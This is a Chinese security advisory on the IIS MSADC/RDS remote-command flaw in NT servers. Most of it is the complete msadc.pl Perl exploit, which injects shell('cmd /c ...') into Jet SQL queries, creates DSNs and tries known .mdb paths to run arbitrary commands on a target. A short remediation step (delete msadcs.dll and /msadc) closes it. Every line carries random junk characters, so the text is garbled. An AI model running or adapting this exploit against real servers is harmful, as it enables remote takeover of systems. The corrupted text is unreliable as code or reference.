IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
D6 e ?J. ;dZ ZOocV1 涉及程序：
7mi=Xa:U Microsoft NT server
-u~:Gd*l0 ?S=y>b9R 描述：
:+9. v 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
k
"7,-0gz d/oD]aAEr 详细：
"S{GjOlEDF 如果你没有时间读详细内容的话，就删除:
g1F9IB42@< c:\Program Files\Common Files\System\Msadc\msadcs.dll
nw*a?$S 3 有关的安全问题就没有了。
{s*1QBM$\Z ^o Ds*F 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
4$2HO `@uN wDiq~! 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
0#yH<h$ 关于利用ODBC远程漏洞的描述，请参看:
SI6?b1;-:F m|?1HCRXRI http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm V0,5c`H c /;q 3Q# 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
;H%'K http://www.microsoft.com/security/bulletins/MS99-025faq.asp m>[G-~0?kI er
1zSTkg 这里不再论述。
`3K."/N6c B "4A1! 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
"3 2Ua3m:G WQw11uMt@q /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
r#ADxqkaV 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
%|/\Qu d\A7}_r*x ~Odclrs #将下面这段保存为txt文件，然后: "perl -x 文件名"
P%[ { 'u B B1_EdoG #!perl
2^5RQl/ #
s &W E' # MSADC/RDS 'usage' (aka exploit) script
Vfq-H /+ #
2}P{7flDY # by rain.forest.puppy
g(jn
/Cx #
6eB ~S)Ko # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
V.Lk70 \ # beta test and find errors!
`t H F} b4KNIP7E use Socket; use Getopt::Std;
0lqh;/ getopts("e:vd:h:XR", \%args);
/NPx9cLW^ fWg 3gRI print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
5``usn/&Kj vsA/iH. if (!defined $args{h} && !defined $args{R}) {
5D^2
+`$/ print qq~
W1M Bk[:Q Usage: msadc.pl -h <host> { -d <delay> -X -v }
4ee- tKH -h <host> = host you want to scan (ip or domain)
:[_k .1-+ -d <seconds> = delay between calls, default 1 second
-DZ5nx -X = dump Index Server path table, if available
tnb'\}V n -v = verbose
E 7SmiD@) -e = external dictionary file for step 5
6] !Jo)BF :W-xsw Or a -R will resume a command session
[8DPZU@ 0"sZP \<p ~; exit;}
54]UfmT%I .UK`~17 ! $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
iy8Ln,4z( if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
>"zN` if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
7|ACJv6%9 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
lYm00v 6y $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
^#h ;bX# if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Yv{$XI7 Aba%QQQ if (!defined $args{R}){ $ret = &has_msadc;
y i-)4#YN die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
aNICSxDN \H PB{
; print "Please type the NT commandline you want to run (cmd /c assumed):\n"
70R_O&f-k . "cmd /c ";
7}mr C@[i $in=<STDIN>; chomp $in;
o|s|Wm x>u $command="cmd /c " . $in ;
ncR ]@8 Q`=d5Uvw if (defined $args{R}) {&load; exit;}
\$,;@H5I^ | mw3v> print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
oBPm^ob4 &try_btcustmr;
>T14
J'\ y]k{u\2A print "\nStep 2: Trying to make our own DSN...";
,}^;q58 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
*'@T+$3s ? a*yK8S print "\nStep 3: Trying known DSNs...";
@C~gU@F &known_dsn;
+=kz".$ ``h* A print "\nStep 4: Trying known .mdbs...";
\gir &known_mdb;
Jjx 1`S*i ' _n $xfH if (defined $args{e}){
0e'@Xo2e print "\nStep 5: Trying dictionary of DSN names...";
*M~BN}. &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
;T!ZO @1X Z7MGBwP( print "Sorry Charley...maybe next time?\n";
0n?^I>j exit;
+'g~3A-G |)ALJJ=+ ##############################################################################
3qp\jh=FE ^7`gf sub sendraw { # ripped and modded from whisker
p" Di;3!y! sleep($delay); # it's a DoS on the server! At least on mine...
.Jc<Gg my ($pstr)=@_;
)c0 Dofhg socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
phcY QqR die("Socket problems\n");
:RX zq C if(connect(S,pack "SnA4x8",2,80,$target)){
?[X^'zz} select(S); $|=1;
9iK%@k print $pstr; my @in=<S>;
5.U|CL select(STDOUT); close(S);
0*/[z~Z-1 return @in;
QyEoWKu; } else { die("Can't connect...\n"); }}
pc]( +39p5O! ##############################################################################
$)j f l.SoiFDd sub make_header { # make the HTTP request
D'_ w
* my $msadc=<<EOT
7}fT7tsN POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
_GL :4 User-Agent: ACTIVEDATA
jQ P2[\ Host: $ip
K@!Gs'Op Content-Length: $clen
8/ CK(G Connection: Keep-Alive
@B>pPCowa /o nZ 1 4 ADCClientVersion:01.06
mv`ND& Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
/Nd`eUn Sh U1RQk --!ADM!ROX!YOUR!WORLD!
5k<0>6;XH Content-Type: application/x-varg
pJ@D}2u( Content-Length: $reqlen
Cl!qd h6 | )YN"nqg EOT
YGCBDH%6 ; $msadc=~s/\n/\r\n/g;
ff 2`4_ ,| return $msadc;}
R\lUE,o]<q SGLU7*sfd ##############################################################################
,D{D
QJ(B -j}zr yG- sub make_req { # make the RDS request
z7O$o/E-* my ($switch, $p1, $p2)=@_;
s>e)\9c my $req=""; my $t1, $t2, $query, $dsn;
-pm%F8{T] >+ku:<Hw%. if ($switch==1){ # this is the btcustmr.mdb query
G@6F<L~$1 $query="Select * from Customers where City=" . make_shell();
{} Zqaf $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
;v%f + $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
n4Q ^ yH',vC. elsif ($switch==2){ # this is general make table query
03dmHg.E!E $query="create table AZZ (B int, C varchar(10))";
&^K,"a{ $dsn="$p1";}
t`"pn <
7^]KQ2fF
8 elsif ($switch==3){ # this is general exploit table query
& ]1 gx# $query="select * from AZZ where C=" . make_shell();
2Afg.-7EP $dsn="$p1";}
LVBE+{P\5? )SWLX\b elsif ($switch==4){ # attempt to hork file info from index server
w@hbY:Z9z $query="select path from scope()";
K\^S>dV $dsn="Provider=MSIDXS;";}
d`J~w/]
`\ 5P![fX|5 elsif ($switch==5){ # bad query
Qis/'9a $query="select";
1c*Xm MB $dsn="$p1";}
N| cFlo aCz $t1= make_unicode($query);
9<1 dps=c $t2= make_unicode($dsn);
)s> R~7 $req = "\x02\x00\x03\x00";
*f3? 0w $req.= "\x08\x00" . pack ("S1", length($t1));
3 V0^v $req.= "\x00\x00" . $t1 ;
' )KuLVE}S $req.= "\x08\x00" . pack ("S1", length($t2));
tE;c>=>t $req.= "\x00\x00" . $t2 ;
g3vR\?c` $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
l
!:kwF return $req;}
{1J4Q[N9m #b$qtp!, ##############################################################################
5/m}v'S% 18G=j@k7 sub make_shell { # this makes the shell() statement
RfzYoB N return "'|shell(\"$command\")|'";}
9%^O-8! AkVgFQg"
n ##############################################################################
_'Hw` 0}s gH|:=vfYUR sub make_unicode { # quick little function to convert to unicode
7Nlk:f)*- my ($in)=@_; my $out;
>AUzsQ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
{Z^q?~zC[ return $out;}
XW q@47FR $'93:9tg ##############################################################################
F0/!+ho t`E e/L% sub rdo_success { # checks for RDO return success (this is kludge)
?=V;5H. my (@in) = @_; my $base=content_start(@in);
JO&L1<B{v if($in[$base]=~/multipart\/mixed/){
K4Hu0 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
.._UI2MA return 0;}
V ^hR%*i' O{ |Ug~ ##############################################################################
#=
@?)\~ d c,qQM sub make_dsn { # this makes a DSN for us
b-HELS`nX my @drives=("c","d","e","f");
#,Cz+ k*4 print "\nMaking DSN: ";
sTw+.m{F foreach $drive (@drives) {
^_\%?K_u print "$drive: ";
:HkX sZ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
"*ww>0[ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
QeG3X+ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
,d$D0w $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
#.@- ng6C return 0 if $2 eq "404"; # not found/doesn't exist
\U.js- if($2 eq "200") {
M&` b\la foreach $line (@results) {
tYMPqP,1. return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
1}3tpO; } return 0;}
}mOo= )C! gvoYyO#cm ##############################################################################
WGHf?G/s . pyNET sub verify_exists {
#; /ob- my ($page)=@_;
, #K{+1z: my @results=sendraw("GET $page HTTP/1.0\n\n");
d VyT ` return $results[0];}
3U% kf<m= U}DLzn|w ##############################################################################
K#xL- 2$ FH+wuW sub try_btcustmr {
e$o]f"( my @drives=("c","d","e","f");
`j!XWh*$ my @dirs=("winnt","winnt35","winnt351","win","windows");
CO`?M,x> w[OUGn' foreach $dir (@dirs) {
@z>DJ>htN print "$dir -> "; # fun status so you can see progress
#O^%u,mJj foreach $drive (@drives) {
~9n30j%]s print "$drive: "; # ditto
L"} tJM.d $reqlen=length( make_req(1,$drive,$dir) ) - 28;
H7(D8.y ) $reqlenlen=length( "$reqlen" );
. :~E.b $clen= 206 + $reqlenlen + $reqlen;
z"f+;1 [I`:%y my @results=sendraw(make_header() . make_req(1,$drive,$dir));
-9(pOwN
|m if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
kbZpi`w else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
]Wtg.y6; I %|;M%B ##############################################################################
lESv ^o4](l sub odbc_error {
&1Z UMc my (@in)=@_; my $base;
'PWA my $base = content_start(@in);
@S1Z "%S if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
NiD_ v $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
'zOB!QqA`v $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Lr0:y o $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
k 5 )a| return $in[$base+4].$in[$base+5].$in[$base+6];}
_fS4a134R print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
( @V_ 47o print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
|!{ Y :f; $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
`N8t2yF * a uT_* ##############################################################################
(# 8B v Q,<Ke+d sub verbose {
:Q8*MJ3&V my ($in)=@_;
KkCsQ~po return if !$verbose;
wl gR = l print STDOUT "\n$in\n";}
D! &]jkUN F ESl#.} ##############################################################################
/h8100 r+;k(HMY}[ sub save {
iP6?[pl8 my ($p1, $p2, $p3, $p4)=@_;
N uW6~PV open(OUT, ">rds.save") || print "Problem saving parameters...\n";
N9 h|_ax print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
]A%~bQ7 close OUT;}
*P8CzF^>\& /}9)ZY Mx ##############################################################################
~ +h4i' G|u)eW sub load {
[9G=x[ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
"R gP! open(IN,"<rds.save") || die("Couldn't open rds.save\n");
AkCy
C1 @p=<IN>; close(IN);
!,]2.:{0z $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
c#TV2@ $target= inet_aton($ip) || die("inet_aton problems");
oX7_v_:J\R print "Resuming to $ip ...";
oRZe?h^r# $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
5+yy:#J] if($p[1]==1) {
'}I GV`c $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
E;wT4 T= $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
ZsSW{ffZ77 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
FmSE ]et if (rdo_success(@results)){print "Success!\n";}
*Qyu
QF else { print "failed\n"; verbose(odbc_error(@results));}}
&4ndi=.#rg elsif ($p[1]==3){
b[<L
l% K if(run_query("$p[3]")){
/B)2L]6p print "Success!\n";} else { print "failed\n"; }}
M fnfp{.) elsif ($p[1]==4){
%+ /Dv if(run_query($drvst . "$p[3]")){
r+k&W print "Success!\n"; } else { print "failed\n"; }}
' x 5p ?m exit;}
bo1J'pU sf/m@425 ##############################################################################
TbLU[(m-n %7 QS BL sub create_table {
m_.9 PZ my ($in)=@_;
L/In~' *- $reqlen=length( make_req(2,$in,"") ) - 28;
En)Ptz#0 $reqlenlen=length( "$reqlen" );
0!oqP1 $clen= 206 + $reqlenlen + $reqlen;
[w!T
my @results=sendraw(make_header() . make_req(2,$in,""));
2|ej~}Y return 1 if rdo_success(@results);
q" EW*k+
) my $temp= odbc_error(@results); verbose($temp);
X}Om)WCr return 1 if $temp=~/Table 'AZZ' already exists/;
n.t5:SW return 0;}
Ve${g`7& a,(nf1@5 ##############################################################################
2qojU%fiH #%w+PL:*O sub known_dsn {
maeQ'Sv_& # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
\iaZV.#f my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
A@9\Qd "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
<v/aquLN "banner", "banners", "ads", "ADCDemo", "ADCTest");
:,fT^izew Zu2`IzrG# foreach $dSn (@dsns) {
wE"lk print ".";
MV2$0 next if (!is_access("DSN=$dSn"));
| }UA=? Xl if(create_table("DSN=$dSn")){
KDP"z print "$dSn successful\n";
iJj !-a:z. if(run_query("DSN=$dSn")){
R !yh0y}Z print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
) _\ ;l%& print "Something's borked. Use verbose next time\n";}}} print "\n";}
W?"l6 s Pm%5c\ef ##############################################################################
P (DEf( ![$`Ivro` sub is_access {
[+QyKyhTO my ($in)=@_;
QO0@A x\b $reqlen=length( make_req(5,$in,"") ) - 28;
<-fvYer $reqlenlen=length( "$reqlen" );
BMI`YGjY1 $clen= 206 + $reqlenlen + $reqlen;
Gh c
U ~ my @results=sendraw(make_header() . make_req(5,$in,""));
%?, 7!|Ls my $temp= odbc_error(@results);
ZjY, k verbose($temp); return 1 if ($temp=~/Microsoft Access/);
^$}O?y7O return 0;}
k` &FyN^) :J_UXtx ##############################################################################
#Hz 9@H zA}J VB sub run_query {
v*0J6< my ($in)=@_;
1zCu1'Wv $reqlen=length( make_req(3,$in,"") ) - 28;
-#mN / $reqlenlen=length( "$reqlen" );
\ 4^zY ' $clen= 206 + $reqlenlen + $reqlen;
8)> T>-os my @results=sendraw(make_header() . make_req(3,$in,""));
FPkk\[EU return 1 if rdo_success(@results);
x2a
?ug Q my $temp= odbc_error(@results); verbose($temp);
S=lCzL;j" return 0;}
[PB73q 8 IZm6.F ##############################################################################
`"PHhCG+z L)&^Pu sub known_mdb {
Z,/^lg c, my @drives=("c","d","e","f","g");
~cyKP g6 my @dirs=("winnt","winnt35","winnt351","win","windows");
^#C+l my $dir, $drive, $mdb;
U;TS7A3 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
wN10Drc
SvQ|SKE': # this is sparse, because I don't know of many
SjpCf8Z( my @sysmdbs=( "\\catroot\\icatalog.mdb",
{[`(o
0@( "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
(+;D~iN` k "\\system32\\certmdb.mdb",
!.^x^OK%y "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
\y% "tJ~N{ he/rt# my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
EpKZ.lCU "\\cfusion\\cfapps\\forums\\forums_.mdb",
#d3_7rI0V "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
0^ \H$An*k "\\cfusion\\cfapps\\security\\realm_.mdb",
e$P^},0/ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
TB?'< hD: "\\cfusion\\database\\cfexamples.mdb",
SXYwhID= "\\cfusion\\database\\cfsnippets.mdb",
&WL N "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
R9^vAS4t[O "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
maHz3: "\\cfusion\\brighttiger\\database\\cleam.mdb",
9H;Os:"\| "\\cfusion\\database\\smpolicy.mdb",
W1<*9O "\\cfusion\\database\cypress.mdb",
n0gjcD HQ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
fZr{x$]N0 "\\website\\cgi-win\\dbsample.mdb",
SP<Sv8Okj "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
> yLDU_P) "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
TTl9 xs,nO ); #these are just
}~=<7| N. foreach $drive (@drives) {
f4*(rX foreach $dir (@dirs){
=liyd74%` foreach $mdb (@sysmdbs) {
PX_9i@ZG print ".";
H)E,([ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
H_ 3Wx fO print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
r>|S4 O if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
#o [n. print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
t Dah@_ } else { print "Something's borked. Use verbose next time\n"; }}}}}
S
LeA,T -6uLww=w4 foreach $drive (@drives) {
9<y{: {i foreach $mdb (@mdbs) {
l l*g *zt3 print ".";
Lg,ObV t! if(create_table($drv . $drive . $dir . $mdb)){
jg'"?KSU~ print "\n" . $drive . $dir . $mdb . " successful\n";
f. >[ J if(run_query($drv . $drive . $dir . $mdb)){
frm[<-~ w0 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
Yc-5Mr8*, } else { print "Something's borked. Use verbose next time\n"; }}}}
E&z^E2 }
FZ<6 kk4 ib
'l:GM ##############################################################################
2-qWR<E 42hG }Gt sub hork_idx {
*y|w9 r p print "\nAttempting to dump Index Server tables...\n";
c)N_"#& print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
ZVJ6 {DS/ $reqlen=length( make_req(4,"","") ) - 28;
"QS(4yw?jg $reqlenlen=length( "$reqlen" );
9}2/ko $clen= 206 + $reqlenlen + $reqlen;
3AR'Zvn my @results=sendraw2(make_header() . make_req(4,"",""));
Gw-{`<CxE if (rdo_success(@results)){
)BI%cD my $max=@results; my $c; my %d;
.Jg<H %%f for($c=19; $c<$max; $c++){
j|o/ >^ 'e $results[$c]=~s/\x00//g;
? eI)m $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
N4-Y0BO $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
.Wp(@l'Hd $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
dc~vQDNw[X $d{"$1$2"}="";}
K%BFR,)g foreach $c (keys %d){ print "$c\n"; }
^ /Yk*Ny } else {print "Index server doesn't seem to be installed.\n"; }}
^t<L rfQs
7S;G ##############################################################################
g0a!auWM s nx we sub dsn_dict {
v,N!cp1 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
NcwUK \ while(<IN>){
XPq`; <G $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
oa7 N6 next if (!is_access("DSN=$dSn"));
y 6sY?uu if(create_table("DSN=$dSn")){
Yz0HB EA print "$dSn successful\n";
-:L7iOzgD if(run_query("DSN=$dSn")){
yGWl8\,j0 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
JUDZ_cGr print "Something's borked. Use verbose next time\n";}}}
j!Ys/ D print "\n"; close(IN);}
# z.\pd #=Xa(<t ##############################################################################
ujX \^c 2++$ Ql/ sub sendraw2 { # ripped and modded from whisker
>dF #1 sleep($delay); # it's a DoS on the server! At least on mine...
{ i3x\| my ($pstr)=@_;
<b\.d^ =B socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
GpO@1 C/ die("Socket problems\n");
!f/^1k}SR if(connect(S,pack "SnA4x8",2,80,$target)){
>tL" 8@z9 print "Connected. Getting data";
m |+zMf& open(OUT,">raw.out"); my @in;
b+ZaZ\-y
| select(S); $|=1; print $pstr;
iK'A m.o+ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
ka R55 close(OUT); select(STDOUT); close(S); return @in;
WRAv>s9 } else { die("Can't connect...\n"); }}
6OPN P0@r yfFe%8w_vw ##############################################################################
.1J`>T?=Q [tt_>O sub content_start { # this will take in the server headers
l<sWM$ez my (@in)=@_; my $c;
R~ TG5^( for ($c=1;$c<500;$c++) {
sZqi)lo-s if($in[$c] =~/^\x0d\x0a/){
G~*R6x2g if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
YWi Y[ else { return $c+1; }}}
CSm(yB{|pC return -1;} # it should never get here actually
\4 t;{_ JL:B4 f%}B ##############################################################################
yFFNzw{ 95D(0qv sub funky {
x 5U; i my (@in)=@_; my $error=odbc_error(@in);
,(c'h:@M if($error=~/ADO could not find the specified provider/){
l~kxK.Ru print "\nServer returned an ADO miscofiguration message\nAborting.\n";
^MT20pL exit;}
Dn~t _ n if($error=~/A Handler is required/){
P8CIKoKCV print "\nServer has custom handler filters (they most likely are patched)\n";
a,M/i&.e` exit;}
.J5or if($error=~/specified Handler has denied Access/){
L`^ v"W() print "\nServer has custom handler filters (they most likely are patched)\n";
1 EV0Y]T1 exit;}}
2@ZuH^qhk F2 0%r 0 ##############################################################################
1&kf 2\S xxdxRy9/ sub has_msadc {
1tpt433 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
z5[Qh<M my $base=content_start(@results);
2fUz}w ( return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
,?GAFg K: return 0;}
#:
,X^"w3 <lSo7NkR ########################
D B] ] 6 (G"/C7q KiNluGNt 解决方案：
L= <,+m[! 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
u C`)?f*I 2、移除web 目录: /msadc
